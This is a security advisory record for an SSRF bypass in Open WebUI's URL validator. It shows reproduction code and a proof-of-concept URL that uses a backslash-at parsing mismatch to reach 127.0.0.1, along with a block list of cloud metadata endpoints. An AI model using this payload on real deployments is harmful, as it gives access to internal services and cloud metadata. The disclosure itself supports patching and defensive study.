{"id":"PYSEC-2026-2715","summary":"Open WebUI has a Server-Side Request Forgery (SSRF) bypass in `validate_url`","details":"### Summary\nIn the open-webui project, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability.\n\n### Details\nIn the current project, URL validation is performed using the function validate_url.\n\n\u003cimg width=\"1323\" height=\"1145\" alt=\"QQ20260322-202854-22-1\" src=\"https://github.com/user-attachments/assets/896d19f2-c7c3-499a-9052-12aea756ac47\" /\u003e\n\nThe current checking logic uses urlparse to parse the hostname part of the URL for verification.\n\n\u003cimg width=\"1122\" height=\"429\" alt=\"QQ20260322-203014-22-2\" src=\"https://github.com/user-attachments/assets/653520e9-e311-4a5e-8345-a2446e217d88\" /\u003e\n\nHowever, there are actually differences in parsing between urlparse and the library that actually sends the request. For example, in files.py, validate_url is used first for URL validation, and then requests.get is used to send the request.\n\n\u003cimg width=\"1269\" height=\"915\" alt=\"QQ20260322-203122-22-3\" src=\"https://github.com/user-attachments/assets/f200aa06-9190-425e-9659-1ecaf95f806b\" /\u003e\n\nThe core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\\@1.1.1.1` points to:\n\n- `urlparse()` treats `\\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as `1.1.1.1` (public)\n- `requests` treats `\\` as a path character, connecting to `127.0.0.1` (internal)\n\nBelow is a test code I wrote following the open-webui code.\n```\nfrom __future__ import annotations\n\nimport ipaddress\nimport logging\nimport os\nimport socket\nimport urllib.parse\nimport urllib.request\nfrom typing import Optional, Sequence, Union\nimport requests\n\nlog = logging.getLogger(__name__)\n\n# Same text as open_webui.constants.ERROR_MESSAGES.INVALID_URL\nINVALID_URL = (\n    \"Oops! The URL you provided is invalid. Please double-check and try again.\"\n)\n\n# Same semantics as open_webui.config (ENABLE_RAG_LOCAL_WEB_FETCH / WEB_FETCH_FILTER_LIST)\nENABLE_RAG_LOCAL_WEB_FETCH = (\n    os.getenv(\"ENABLE_RAG_LOCAL_WEB_FETCH\", \"False\").lower() == \"true\"\n)\n\n_DEFAULT_WEB_FETCH_FILTER_LIST = [\n    \"!169.254.169.254\",\n    \"!fd00:ec2::254\",\n    \"!metadata.google.internal\",\n    \"!metadata.azure.com\",\n    \"!100.100.100.200\",\n]\n_web_fetch_filter_env = os.getenv(\"WEB_FETCH_FILTER_LIST\", \"\")\nif _web_fetch_filter_env == \"\":\n    _web_fetch_filter_env_list: list[str] = []\nelse:\n    _web_fetch_filter_env_list = [\n        item.strip()\n        for item in _web_fetch_filter_env.split(\",\")\n        if item.strip()\n    ]\nWEB_FETCH_FILTER_LIST = list(\n    set(_DEFAULT_WEB_FETCH_FILTER_LIST + _web_fetch_filter_env_list)\n)\n\n\ndef get_allow_block_lists(filter_list):\n    allow_list = []\n    block_list = []\n\n    if filter_list:\n        for d in filter_list:\n            if d.startswith(\"!\"):\n                block_list.append(d[1:].strip())\n            else:\n                allow_list.append(d.strip())\n\n    return allow_list, block_list\n\n\ndef is_string_allowed(\n    string: Union[str, Sequence[str]], filter_list: Optional[list[str]] = None\n) -\u003e bool:\n    if not filter_list:\n        return True\n\n    allow_list, block_list = get_allow_block_lists(filter_list)\n    strings = [string] if isinstance(string, str) else list(string)\n\n    if allow_list:\n        if not any(s.endswith(allowed) for s in strings for allowed in allow_list):\n            return False\n\n    if any(s.endswith(blocked) for s in strings for blocked in block_list):\n        return False\n\n    return True\n\n\ndef resolve_hostname(hostname):\n    # Get address information\n    addr_info = socket.getaddrinfo(hostname, None)\n\n    # Extract IP addresses from address information\n    ipv4_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET]\n    ipv6_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET6]\n\n    return ipv4_addresses, ipv6_addresses\n\n\ndef _validators_url_accept(url: str) -\u003e bool:\n    \"\"\"\n    Stand-in for python-validators url(): True if string looks like http(s) URL with host.\n    \"\"\"\n    try:\n        u = url.strip()\n        if not u:\n            return False\n        p = urllib.parse.urlparse(u)\n        if p.scheme not in (\"http\", \"https\"):\n            return False\n        if not p.netloc:\n            return False\n        return True\n    except Exception:\n        return False\n\n\ndef _ipv4_private(ip: str) -\u003e bool:\n    try:\n        a = ipaddress.ip_address(ip)\n        return a.version == 4 and a.is_private\n    except ValueError:\n        return False\n\n\ndef _ipv6_private(ip: str) -\u003e bool:\n    try:\n        a = ipaddress.ip_address(ip)\n        return a.version == 6 and a.is_private\n    except ValueError:\n        return False\n\n\ndef validate_url(url: Union[str, Sequence[str]]):\n    if isinstance(url, str):\n        if not _validators_url_accept(url):\n            raise ValueError(INVALID_URL)\n\n        parsed_url = urllib.parse.urlparse(url)\n\n        # Protocol validation - only allow http/https\n        if parsed_url.scheme not in [\"http\", \"https\"]:\n            log.warning(\n                f\"Blocked non-HTTP(S) protocol: {parsed_url.scheme} in URL: {url}\"\n            )\n            raise ValueError(INVALID_URL)\n\n        # Blocklist check using unified filtering logic\n        if WEB_FETCH_FILTER_LIST:\n            if not is_string_allowed(url, WEB_FETCH_FILTER_LIST):\n                log.warning(f\"URL blocked by filter list: {url}\")\n                raise ValueError(INVALID_URL)\n\n        if not ENABLE_RAG_LOCAL_WEB_FETCH:\n            # Local web fetch is disabled, filter out any URLs that resolve to private IP addresses\n            parsed_url = urllib.parse.urlparse(url)\n            # Get IPv4 and IPv6 addresses\n            ipv4_addresses, ipv6_addresses = resolve_hostname(parsed_url.hostname)\n            # Check if any of the resolved addresses are private\n            # This is technically still vulnerable to DNS rebinding attacks, as we don't control WebBaseLoader\n            for ip in ipv4_addresses:\n                if _ipv4_private(ip):\n                    raise ValueError(INVALID_URL)\n            for ip in ipv6_addresses:\n                if _ipv6_private(ip):\n                    raise ValueError(INVALID_URL)\n        return True\n    elif isinstance(url, Sequence):\n        return all(validate_url(u) for u in url)\n    else:\n        return False\n\nif __name__ == \"__main__\":\n    logging.basicConfig(level=logging.INFO)\n    # url = \"https://127.0.0.1:6666\\@1.1.1.1\"\n    url = \"https://127.0.0.1:6666\"\n    validate_url(url)\n    response = requests.get(url)\n    print(response.text)\n\n```\nAs you can see, the current check on 127.0.0.1:6666 successfully identified it as an internal network IP and blocked it.\n\n\u003cimg width=\"1428\" height=\"273\" alt=\"QQ20260322-203503-22-4\" src=\"https://github.com/user-attachments/assets/cf29b639-d4fe-409e-a516-2424d608739f\" /\u003e\n\nHowever, for https://127.0.0.1:6666\\@1.1.1.1/, the hostname extracted by validate_url is 1.1.1.1, which is considered a public IP address and therefore passes validation. In reality, this URL is being used to request the internal IP address 127.0.0.1:6666, resulting in an SSRF bypass.\n\n\u003cimg width=\"2255\" height=\"786\" alt=\"QQ20260322-203750-22-5\" src=\"https://github.com/user-attachments/assets/050bc6a4-760f-4d7a-8b52-056778097cd1\" /\u003e\n\n### PoC\n```\nhttp://127.0.0.1:6666\\@baidu.com\n```\n\n### Impact\nSSRF","aliases":["CVE-2026-45400","GHSA-8w7q-q5jp-jvgx"],"modified":"2026-07-13T16:32:18.779922973Z","published":"2026-07-13T15:19:07.667023Z","references":[{"type":"WEB","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-8w7q-q5jp-jvgx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45400"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"WEB","url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.0"},{"type":"PACKAGE","url":"https://pypi.org/project/open-webui"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8w7q-q5jp-jvgx"}],"affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.5"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/open-webui/PYSEC-2026-2715.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"}]}